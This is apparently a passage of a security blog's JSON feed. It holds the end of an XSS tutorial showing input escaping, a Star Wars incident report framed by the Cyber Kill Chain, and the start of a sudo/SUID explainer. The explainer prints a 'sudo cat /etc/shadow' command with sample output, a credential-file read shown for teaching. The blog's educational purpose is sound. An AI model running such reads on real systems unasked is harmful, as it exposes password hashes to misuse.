style=\"--prism-color:#393A34;--prism-background-color:#f6f8fa\"><div class=\"codeBlockContent_QJqH\"><pre tabindex=\"0\" class=\"prism-code language-js codeBlock_bY9V thin-scrollbar\" style=\"color:#393A34;background-color:#f6f8fa\"><code class=\"codeBlockLines_e6Vv\"><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token keyword\" style=\"color:#00009f\">function</span><span class=\"token plain\"> </span><span class=\"token function maybe-class-name\" style=\"color:#d73a49\">LiveExample</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"> </span><span class=\"token punctuation\" style=\"color:#393A34\">{</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token keyword\" style=\"color:#00009f\">const</span><span class=\"token plain\"> </span><span class=\"token function-variable function\" style=\"color:#d73a49\">displayUserInput</span><span class=\"token plain\"> </span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\"> </span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"> </span><span class=\"token arrow operator\" style=\"color:#393A34\">=&gt;</span><span class=\"token plain\"> </span><span class=\"token punctuation\" style=\"color:#393A34\">{</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token keyword\" style=\"color:#00009f\">const</span><span class=\"token plain\"> userInput </span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\"> </span><span class=\"token dom variable\" style=\"color:#36acaa\">document</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token method function property-access\" style=\"color:#d73a49\">getElementById</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token string\" style=\"color:#e3116c\">'userInput'</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token property-access\">value</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token comment\" style=\"color:#999988;font-style:italic\">// Sanitize user input to prevent XSS attacks </span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token keyword\" style=\"color:#00009f\">const</span><span class=\"token plain\"> sanitizedUserInput </span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\"> </span><span class=\"token function\" style=\"color:#d73a49\">escape</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">userInput</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\" style=\"display:inline-block\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token comment\" style=\"color:#999988;font-style:italic\">// Set the sanitized input to the output element </span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token dom variable\" style=\"color:#36acaa\">document</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token method function property-access\" style=\"color:#d73a49\">getElementById</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token string\" style=\"color:#e3116c\">'output'</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token property-access\">innerHTML</span><span class=\"token plain\"> </span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\"> sanitizedUserInput</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token punctuation\" style=\"color:#393A34\">}</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\" style=\"display:inline-block\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token keyword control-flow\" style=\"color:#00009f\">return</span><span class=\"token plain\"> </span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token operator\" style=\"color:#393A34\">&lt;</span><span class=\"token plain\">div</span><span class=\"token operator\" style=\"color:#393A34\">&gt;</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">      </span><span class=\"token operator\" style=\"color:#393A34\">&lt;</span><span class=\"token plain\">input type</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token string\" style=\"color:#e3116c\">\"text\"</span><span class=\"token plain\"> id</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token string\" style=\"color:#e3116c\">\"userInput\"</span><span class=\"token plain\"> placeholder</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token string\" style=\"color:#e3116c\">\"Enter text or HTML\"</span><span class=\"token plain\"> </span><span class=\"token operator\" style=\"color:#393A34\">/</span><span class=\"token operator\" style=\"color:#393A34\">&gt;</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">      </span><span class=\"token operator\" style=\"color:#393A34\">&lt;</span><span class=\"token plain\">button onClick</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token punctuation\" style=\"color:#393A34\">{</span><span class=\"token plain\">displayUserInput</span><span class=\"token punctuation\" style=\"color:#393A34\">}</span><span class=\"token operator\" style=\"color:#393A34\">&gt;</span><span class=\"token maybe-class-name\">Display</span><span class=\"token operator\" style=\"color:#393A34\">&lt;</span><span class=\"token operator\" style=\"color:#393A34\">/</span><span class=\"token plain\">button</span><span class=\"token operator\" style=\"color:#393A34\">&gt;</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">      </span><span class=\"token operator\" style=\"color:#393A34\">&lt;</span><span class=\"token plain\">div id</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token string\" style=\"color:#e3116c\">\"output\"</span><span class=\"token operator\" style=\"color:#393A34\">&gt;</span><span class=\"token operator\" style=\"color:#393A34\">&lt;</span><span class=\"token operator\" style=\"color:#393A34\">/</span><span class=\"token plain\">div</span><span class=\"token operator\" style=\"color:#393A34\">&gt;</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token operator\" style=\"color:#393A34\">&lt;</span><span class=\"token operator\" style=\"color:#393A34\">/</span><span class=\"token plain\">div</span><span class=\"token operator\" style=\"color:#393A34\">&gt;</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token punctuation\" style=\"color:#393A34\">}</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\" style=\"display:inline-block\"></span><br></div></code></pre></div></div>\n<p>Try copying this code to the previous code box and test if you can still inject the code with your script.</p>",
            "url": "https://eliasa.link/blog/xss-explained/",
            "title": "XSS Attacks: Hands-On",
            "summary": "What is an XSS Attack and how does it work? Practice.",
            "date_modified": "2023-11-25T00:00:00.000Z",
            "tags": [
                "xss",
                "vulnerability",
                "owasp"
            ]
        },
        {
            "id": "https://eliasa.link/blog/cyber-star-wars/",
            "content_html": "<p><strong>Welcome to Cyer4nt!</strong>\nThis is the second post in a series about interview-related questions for Cyber Security Engineers. Today, I'm sharing a fun task I did during an interview with a well-known (and amazing) media organization.\nThe task presents an entertaining approach: analyzing Star Wars: Episode IV A New Hope movie through the lens of the Kill Chain Model.\nMay the Cyber Force be with you!</p>\n<h3 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"the-task\">The Task:<a href=\"https://eliasa.link/blog/cyber-star-wars/#the-task\" class=\"hash-link\" aria-label=\"Direct link to The Task:\" title=\"Direct link to The Task:\" translate=\"no\">​</a></h3>\n<p><em>You are an Imperial Security Analyst in charge of providing computer security for the DS-2 Orbital Battle Station (or Death Star). Provide a step-by-step kill chain use case according to your research from the first Death Star destruction.</em></p>\n<p>Hope you enjoy it!</p>\n<h1><em>Galactic Empire Incident Report</em></h1>\n<table><thead><tr><th>Field</th><th>Value</th></tr></thead><tbody><tr><td>Date:</td><td>E%e/%f</td></tr><tr><td>Victim:</td><td>Galactic Empire</td></tr><tr><td>Adversary:</td><td>Rebel Group (aka APT-303)</td></tr><tr><td>Report Prepared by:</td><td>Imperial Security Analyst of The Galactic Empire</td></tr></tbody></table>\n<h2 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"executive-summary\">Executive Summary<a href=\"https://eliasa.link/blog/cyber-star-wars/#executive-summary\" class=\"hash-link\" aria-label=\"Direct link to Executive Summary\" title=\"Direct link to Executive Summary\" translate=\"no\">​</a></h2>\n<p>A 0-day critical vulnerability (later rated CVSS 9.7) was exploited on one of the biggest Empire's stations called The Death Star. This led to its total destruction. Luke Skywalker with the assistance of other adversaries known as the Rebel Group (also reffered to as APT-303), was able to fire proton torpedoes into the exhaust port, triggering a catastrophic chain reaction that obliterated the Death Star. This incident inflicted severe losses on the Galactic Empire, including the loss of their most formidable weapon, significantly contributing to their eventual downfall.\nTo shed light on the case, we have analyzed the attack using the Cyber Kill Chain model.</p>\n<h3 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"1-reconnaissance\">1. Reconnaissance<a href=\"https://eliasa.link/blog/cyber-star-wars/#1-reconnaissance\" class=\"hash-link\" aria-label=\"Direct link to 1. Reconnaissance\" title=\"Direct link to 1. Reconnaissance\" translate=\"no\">​</a></h3>\n<p>In this phase the adversaries gather information about the target's vulnerabilities.</p>\n<p>The Rebel Group identified a critical design flaw in the DS-1. The technical plan of the DS-1 was obtained by Princess Leia, an insider who worked for APT-303.\nThe act of stealing data is a hostile action that can be described within the framework of the Kill Chain. However, in this report, we examine the incident in a broader context.\n<img decoding=\"async\" loading=\"lazy\" alt=\"Leia\" src=\"https://eliasa.link/assets/images/Leia_stealing_data-e92a834e9d1e10edc798cd93d5db79a6.jpg\" width=\"2880\" height=\"1206\" class=\"img_ev3q\">\nFigure 1 - Princess Leia storing the stolen data into the R2D2</p>\n<div class=\"theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success\"><div class=\"admonitionHeading_Gvgb\"><span class=\"admonitionIcon_Rf37\"><svg viewBox=\"0 0 12 16\"><path fill-rule=\"evenodd\" d=\"M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z\"></path></svg></span>tip</div><div class=\"admonitionContent_BuS1\"><p>R2D2 managed to escape the controlled airship undetected due to the inability of the Empire to detect non-organic lifeforms. Given the existence of other lifeforms such as droids, the Empire needs to revisit their policies and procedures and incorporate new detection methods for all types of lifeforms.\nFurthermore, any critical technical documentation that could expose flaws in the system must have been encrypted using a Force Resistant encryption algorithm to ensure the confidentiality of data.</p></div></div>\n<h3 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"2-weaponization\">2. Weaponization<a href=\"https://eliasa.link/blog/cyber-star-wars/#2-weaponization\" class=\"hash-link\" aria-label=\"Direct link to 2. Weaponization\" title=\"Direct link to 2. Weaponization\" translate=\"no\">​</a></h3>\n<p>In this phase, the attacker focuses on developing the necessary tools to exploit the identified vulnerabilities.</p>\n<p>The Rebel Group devised a strategy to exploit the discovered weakness of the Death Star.\n<img decoding=\"async\" loading=\"lazy\" alt=\"Strategy\" src=\"https://eliasa.link/assets/images/Strategy-5f6e36ec94c6b254b74796f266378a87.jpg\" width=\"1440\" height=\"603\" class=\"img_ev3q\">\nFigure 2 - The rebel group developing their attack strategy</p>\n<div class=\"theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success\"><div class=\"admonitionHeading_Gvgb\"><span class=\"admonitionIcon_Rf37\"><svg viewBox=\"0 0 12 16\"><path fill-rule=\"evenodd\" d=\"M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z\"></path></svg></span>tip</div><div class=\"admonitionContent_BuS1\"><p>As the adversaries continue to develop their strategies and toolsets, it is essential for us to maintain constant vigilance. This involves proactively developing our playbooks, thoroughly researching our own infrastructure, and enhancing our Threat Intelligence capability.</p></div></div>\n<h3 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"3-delivery\">3. Delivery<a href=\"https://eliasa.link/blog/cyber-star-wars/#3-delivery\" class=\"hash-link\" aria-label=\"Direct link to 3. Delivery\" title=\"Direct link to 3. Delivery\" translate=\"no\">​</a></h3>\n<p>In this phase the attacker transmits the weapon to the target.</p>\n<p>To execute the attack on the DS-1, the Rebel Group organized a fleet of starfighters comprising X-Wings and Y-Wings. These starfighters were equipped with the required proton torpedoes to carry out the mission successfully.\n<img decoding=\"async\" loading=\"lazy\" alt=\"Impersonation\" src=\"https://eliasa.link/assets/images/Impersonation-314956c6381c6e8fbec70ff9f730446d.jpg\" width=\"1440\" height=\"603\" class=\"img_ev3q\">\nFigure 3 - Act of impersonation by the adversaries</p>\n<div class=\"theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success\"><div class=\"admonitionHeading_Gvgb\"><span class=\"admonitionIcon_Rf37\"><svg viewBox=\"0 0 12 16\"><path fill-rule=\"evenodd\" d=\"M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z\"></path></svg></span>tip</div><div class=\"admonitionContent_BuS1\"><p>To enhance security awareness and prepare personnel for such attacks, it is important to conduct regular phishing awareness campaigns. These campaigns help educate employees about the risks associated with phishing and train them to identify and report suspicious emails or messages effectively.</p></div></div>\n<p>In addition, deploying an intrusion prevention system (IPS) with up-to-date rules can help provide timely alerts and block any unauthorized access attempts by the X-Wings and Y-Wings in the controlled perimeter.</p>\n<h3 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"4-exploitation-and-installation\">4. Exploitation and Installation<a href=\"https://eliasa.link/blog/cyber-star-wars/#4-exploitation-and-installation\" class=\"hash-link\" aria-label=\"Direct link to 4. Exploitation and Installation\" title=\"Direct link to 4. Exploitation and Installation\" translate=\"no\">​</a></h3>\n<p>This phase refers to the adversary's lateral movement through the defense forces of the Empire. This phase involves bypassing and evading the Empire's defenses to reach the intended target and strategically placing the starfighters in the optimal position to exploit the vulnerability and launch the attack.</p>\n<p><img decoding=\"async\" loading=\"lazy\" alt=\"Hacking\" src=\"https://eliasa.link/assets/images/Hacking-da802798e3fa619df53535423b4e83ba.jpg\" width=\"2880\" height=\"1202\" class=\"img_ev3q\">\nFigure 4 - R2D2 hacking the infrastructure of the Empire</p>\n<div class=\"theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success\"><div class=\"admonitionHeading_Gvgb\"><span class=\"admonitionIcon_Rf37\"><svg viewBox=\"0 0 12 16\"><path fill-rule=\"evenodd\" d=\"M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z\"></path></svg></span>tip</div><div class=\"admonitionContent_BuS1\"><p>To enhance network security, it is recommended to deploy network access control (NAC) solutions. NAC solutions help in restricting unauthorized devices from accessing the network. By implementing NAC, organizations can enforce policies that ensure only authorized and compliant devices are allowed to connect to the network. This helps prevent potential threats posed by unauthorized or compromised devices and mitigates the risk of unauthorized access.</p></div></div>\n<h3 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"5-command-and-control\">5. Command and Control<a href=\"https://eliasa.link/blog/cyber-star-wars/#5-command-and-control\" class=\"hash-link\" aria-label=\"Direct link to 5. Command and Control\" title=\"Direct link to 5. Command and Control\" translate=\"no\">​</a></h3>\n<p>The attacker establishes communication channels between their infrastructure and the compromised system to maintain control, receive instructions, and exfiltrate stolen data. Similarly, during the battle, the leaders of the Rebel Group maintained communication with their pilots, providing guidance and coordinating the attack. Effective communication channels between the adversaries and their forces play a critical role in executing their strategies, ensuring effective coordination maximizing their chances of success.</p>\n<p><img decoding=\"async\" loading=\"lazy\" alt=\"C2C\" src=\"https://eliasa.link/assets/images/C2C-3f03333d03bc29dc48a2d3dab38143d5.jpg\" width=\"2880\" height=\"1202\" class=\"img_ev3q\">\nFigure 5 - Command &amp; Control of APT-303 from inside</p>\n<div class=\"theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success\"><div class=\"admonitionHeading_Gvgb\"><span class=\"admonitionIcon_Rf37\"><svg viewBox=\"0 0 12 16\"><path fill-rule=\"evenodd\" d=\"M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z\"></path></svg></span>tip</div><div class=\"admonitionContent_BuS1\"><p>Continuous monitoring and rapid response strategies are crucial to prevent attackers from achieving their end goals.</p></div></div>\n<h3 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"6-actions-on-objectives\">6. Actions on Objectives<a href=\"https://eliasa.link/blog/cyber-star-wars/#6-actions-on-objectives\" class=\"hash-link\" aria-label=\"Direct link to 6. Actions on Objectives\" title=\"Direct link to 6. Actions on Objectives\" translate=\"no\">​</a></h3>\n<p>In this final phase, the attacker executes their intended objectives, which may vary depending on their motives.</p>\n<p>Luke Skywalker, guided by the Force, fired the proton torpedoes into the thermal exhaust port. The torpedoes traveled down to the main reactor, initiating a chain reaction that ultimately resulted in the destruction of the Death Star.\n<img decoding=\"async\" loading=\"lazy\" alt=\"Death_Star\" src=\"https://eliasa.link/assets/images/Death_Star-ff240e46c977cf7904597d39865f96c4.jpg\" width=\"2880\" height=\"1202\" class=\"img_ev3q\">\nFigure 6 - Escape of Luke Skywalker from DS-1 before it's destruction</p>\n<div class=\"theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success\"><div class=\"admonitionHeading_Gvgb\"><span class=\"admonitionIcon_Rf37\"><svg viewBox=\"0 0 12 16\"><path fill-rule=\"evenodd\" d=\"M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z\"></path></svg></span>tip</div><div class=\"admonitionContent_BuS1\"><p>Fix the weakness by isolating the thermal exhaust port from the reactor in order to mitigate the chain reaction.</p></div></div>\n<h2 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"conclusion\">Conclusion<a href=\"https://eliasa.link/blog/cyber-star-wars/#conclusion\" class=\"hash-link\" aria-label=\"Direct link to Conclusion\" title=\"Direct link to Conclusion\" translate=\"no\">​</a></h2>\n<p>Despite the Empire's vast resources, including numerous scientists, engineers, and disciplined troopers, the Battle of Yavin resulted in a loss for the Empire, with the DS-1 being destroyed along with a significant number of personnel.</p>",
            "url": "https://eliasa.link/blog/cyber-star-wars/",
            "title": "Star Wars through Cyber Kill Chain",
            "summary": "May the Cyber Force be With You!",
            "date_modified": "2023-11-12T00:00:00.000Z",
            "tags": [
                "star wars",
                "cyber kill chain",
                "interview"
            ]
        },
        {
            "id": "https://eliasa.link/blog/sudo-explained/",
            "content_html": "<h2 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"preface\">Preface<a href=\"https://eliasa.link/blog/sudo-explained/#preface\" class=\"hash-link\" aria-label=\"Direct link to Preface\" title=\"Direct link to Preface\" translate=\"no\">​</a></h2>\n<p>At some point of my career, I wanted to land a job as a Junior SOC Engineer. To my surprise, I found myself struggling with technical interviews, even when asked relatively straightforward questions.</p>\n<p>For instance, one question was, <strong>\"What is sudo and how does it work?\"</strong></p>\n<h2 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"sudo-in-simple-words\"><code>sudo</code> in simple words<a href=\"https://eliasa.link/blog/sudo-explained/#sudo-in-simple-words\" class=\"hash-link\" aria-label=\"Direct link to sudo-in-simple-words\" title=\"Direct link to sudo-in-simple-words\" translate=\"no\">​</a></h2>\n<p>Apparently, anyone who has worked with Linux has used sudo. This program temporarily elevates a user's privileges to execute specific commands by validating the user's permissions in the <code>sudoers</code> file.</p>\n<h3 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"the-definition\">The definition<a href=\"https://eliasa.link/blog/sudo-explained/#the-definition\" class=\"hash-link\" aria-label=\"Direct link to The definition\" title=\"Direct link to The definition\" translate=\"no\">​</a></h3>\n<div class=\"theme-admonition theme-admonition-info admonition_xJq3 alert alert--info\"><div class=\"admonitionHeading_Gvgb\"><span class=\"admonitionIcon_Rf37\"><svg viewBox=\"0 0 14 16\"><path fill-rule=\"evenodd\" d=\"M7 2.3c3.14 0 5.7 2.56 5.7 5.7s-2.56 5.7-5.7 5.7A5.71 5.71 0 0 1 1.3 8c0-3.14 2.56-5.7 5.7-5.7zM7 1C3.14 1 0 4.14 0 8s3.14 7 7 7 7-3.14 7-7-3.14-7-7-7zm1 3H6v5h2V4zm0 6H6v2h2v-2z\"></path></svg></span>info</div><div class=\"admonitionContent_BuS1\"><p>Sudo (su “do”) allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments. The basic philosophy is to give as few privileges as possible but still allow people to get their work done.</p></div></div>\n<h3 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"example-of-use\">Example of use<a href=\"https://eliasa.link/blog/sudo-explained/#example-of-use\" class=\"hash-link\" aria-label=\"Direct link to Example of use\" title=\"Direct link to Example of use\" translate=\"no\">​</a></h3>\n<p>Ordinary users cannot read the file <code>/etc/shadow</code>. Attempting to view it without <em>sudo</em> will result in a permission error:</p>\n<div class=\"language-bash codeBlockContainer_Ckt0 theme-code-block\" style=\"--prism-color:#393A34;--prism-background-color:#f6f8fa\"><div class=\"codeBlockContent_QJqH\"><pre tabindex=\"0\" class=\"prism-code language-bash codeBlock_bY9V thin-scrollbar\" style=\"color:#393A34;background-color:#f6f8fa\"><code class=\"codeBlockLines_e6Vv\"><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">$ </span><span class=\"token function\" style=\"color:#d73a49\">cat</span><span class=\"token plain\"> /etc/shadow</span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">cat: /etc/shadow: Permission denied</span><br></div></code></pre></div></div>\n<p>Using <em>sudo</em> (assuming that this user is in the <em>sudoers</em> file) can grant the user permission to execute this command:</p>\n<div class=\"language-bash codeBlockContainer_Ckt0 theme-code-block\" style=\"--prism-color:#393A34;--prism-background-color:#f6f8fa\"><div class=\"codeBlockContent_QJqH\"><pre tabindex=\"0\" class=\"prism-code language-bash codeBlock_bY9V thin-scrollbar\" style=\"color:#393A34;background-color:#f6f8fa\"><code class=\"codeBlockLines_e6Vv\"><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">$ </span><span class=\"token function\" style=\"color:#d73a49\">sudo</span><span class=\"token plain\"> </span><span class=\"token function\" style=\"color:#d73a49\">cat</span><span class=\"token plain\"> /etc/shadow</span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token punctuation\" style=\"color:#393A34\">[</span><span class=\"token plain\">sudo</span><span class=\"token punctuation\" style=\"color:#393A34\">]</span><span class=\"token plain\"> password </span><span class=\"token keyword\" style=\"color:#00009f\">for</span><span class=\"token plain\"> user:</span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\" style=\"display:inline-block\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">root::18295:0:99999:7:::</span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">daemon::18295:0:99999:7:::</span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">bin:*:18295:0:99999:7:::</span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token punctuation\" style=\"color:#393A34\">..</span><span class=\"token plain\">.</span><br></div></code></pre></div></div>\n<p>Now you have been granted the appropriate permissions and you can view the <code>/etc/shadow</code> file. But wait, what exactly just happened?</p>\n<h2 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"sudo-command-in-more-depth\"><code>sudo</code> command in more depth<a href=\"https://eliasa.link/blog/sudo-explained/#sudo-command-in-more-depth\" class=\"hash-link\" aria-label=\"Direct link to sudo-command-in-more-depth\" title=\"Direct link to sudo-command-in-more-depth\" translate=\"no\">​</a></h2>\n<p>Here are the main steps that sudo as a program does:</p>\n<ol>\n<li class=\"\"><strong>Session Cache</strong>: Checks for cached credentials for already open sudo session.</li>\n<li class=\"\"><strong>Password Prompt</strong>: Requests user's password if not found in cache previously.</li>\n<li class=\"\"><strong>Authentication</strong>: Uses system's PAM (Pluggable Authentication Modules) to verify user's password.</li>\n<li class=\"\"><strong>Privilege Check</strong>: Checks <em>sudoers</em> file for permissions.</li>\n<li class=\"\"><strong>Command Execution</strong>: Runs command if authorized.</li>\n<li class=\"\"><strong>Logging</strong>: Records the event.</li>\n</ol>\n<p>There's a catch here: How does <em>sudo</em> checked the <code>/etc/sudoers</code> file, given that only root has the permissions to read this file??</p>\n<p>Here comes the SUID bit.</p>\n<h3 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"the-power-of-the-suid-bit\">The Power of the SUID Bit<a href=\"https://eliasa.link/blog/sudo-explained/#the-power-of-the-suid-bit\" class=\"hash-link\" aria-label=\"Direct link to The Power of the SUID Bit\" title=\"Direct link to The Power of the SUID Bit\" translate=\"no\">​</a></h3>\n<p>When you look at <em>sudo</em>'s binary file permissions, you'll see:</p>\n<div class=\"language-bash 